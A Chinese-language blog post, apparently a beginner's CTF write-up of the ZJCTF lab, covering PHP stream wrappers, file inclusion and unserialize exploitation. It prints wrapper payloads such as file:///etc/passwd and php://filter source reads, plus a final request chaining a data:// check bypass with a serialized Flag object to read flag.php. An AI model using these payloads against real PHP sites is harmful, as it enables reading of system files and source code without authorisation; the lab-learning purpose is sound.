靶场练习总结(PHP伪协议+文件包含+反序列化)

admin 2026-01-13 14:35:29 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解ZJCTF靶场中PHP伪协议、文件包含及反序列化漏洞的利用。通过data://协议绕过校验,使用php://filter读取源码,构造反序列化Payload触发__tostring方法读取flag。文章逻辑清晰,适合新手学习Web安全基础与渗透测试技巧。 综合评分: 86 文章分类: WEB安全,渗透测试,CTF,漏洞分析


cover_image

靶场练习总结(PHP伪协议+文件包含+反序列化)

原创

huan666

huan666

2026年1月12日 18:50 北京

声明:个人学习笔记记录,比较基础,适用于新手小白,大佬勿喷,谢谢!

一、常见PHP伪协议

核心文件操作类伪协议:

| | | | | — | — | — | | 伪协议 | 用法 | 解释 | | file:// | file:///etc/passwd(Linux系统) file://C:/Windows/win.ini(Windows系统) | 读取本地系统文件 | | php://filter | php://filter/convert.base64-encode/resource=flag.php | 读取base64编码后的flag.php文件 |

输入流类伪协议:

| | | | | — | — | — | | 伪协议 | 用法 | 解释 | | php://input | ?file=php://input | 读取 POST 请求体的原始数据 |

数据嵌入类伪协议:

| | | | | — | — | — | | 伪协议 | 用法 | 解释 | | data://(明文) | data://text/plain,test | 嵌入纯文本数据test | | data://(base64编码) | data://text/plain;base64,dGVzdA | 嵌入经过base64编码后的数据test |

二、靶场复现

访问是一段php代码

1<?php&nbsp;&nbsp;$text&nbsp;=&nbsp;$_GET["text"];$file&nbsp;=&nbsp;$_GET["file"];$password&nbsp;=&nbsp;$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){&nbsp; &nbsp;&nbsp;echo&nbsp;"<br><h1>".file_get_contents($text,'r')."</h1></br>";&nbsp; &nbsp;&nbsp;if(preg_match("/flag/",$file)){&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"Not now!";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit();&nbsp;&nbsp; &nbsp; }else{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;include($file); &nbsp;//useless.php&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$password&nbsp;=&nbsp;unserialize($password);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;$password;&nbsp; &nbsp; }}else{&nbsp; &nbsp;&nbsp;highlight_file(__FILE__);}?>

前三行是以GET方式传入三个参数,分别是text、file、password

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){

第四行是传入一个text文件,并且text文件内的内容等于welcome to the zjctf,才允许执行下一步

直接明文传入,页面无任何变化

?text=data://text/plain,welcome to the zjctf

利用data://伪协议,可以执行下一步

?text=data://text/plain,welcome to the zjctf

第七到第十行通过正则表达式过滤掉/flag/,匹配/flag/,直接输出“Not now!”,并终止整个脚本执行

if(preg_match("/flag/",$file)){&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"Not now!";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit();&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }

通过第十一行提示,可以包含useless.php文件,直接传入文件,无任何响应

?text=data://text/plain,welcome to the zjctf&file=useless.php

利用php伪协议可以读取useless.php文件,读取到的是经过base64编码的,解码后才能查看该文件内容

php://filter/read=convert.base64-encode/resource=useless.php
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

useless.php文件内容如下

<?php
class&nbsp;Flag{ &nbsp;//flag.php &nbsp;&nbsp; &nbsp;&nbsp;public&nbsp;$file; &nbsp;&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;__tostring(){ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(isset($this->file)){ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;file_get_contents($this->file);&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"<br>";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;("U R SO CLOSE !///COME ON PLZ");&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; } &nbsp;} &nbsp;?>

第十二行是执行反序列化操作,那么就需要先把useless.php文件的内容先进行序列化操作,再传入password参数中

$password&nbsp;= unserialize($password);

新建xuliehua.php文件,代码如下

<?phpclass&nbsp;Flag{ &nbsp;//flag.php &nbsp;&nbsp; &nbsp;&nbsp;public&nbsp;$file="flag.php"; &nbsp;&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;__tostring(){ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(isset($this->file)){ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;file_get_contents($this->file);&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"<br>";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;("U R SO CLOSE !///COME ON PLZ");&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; } &nbsp;} &nbsp;$test=new&nbsp;Flag();echo&nbsp;serialize($test);?>

得到序列化的内容如下

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终得到paylaod如下

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:huan666 huan666《靶场练习总结(PHP伪协议+文件包含+反序列化)》

评论:0   参与:  0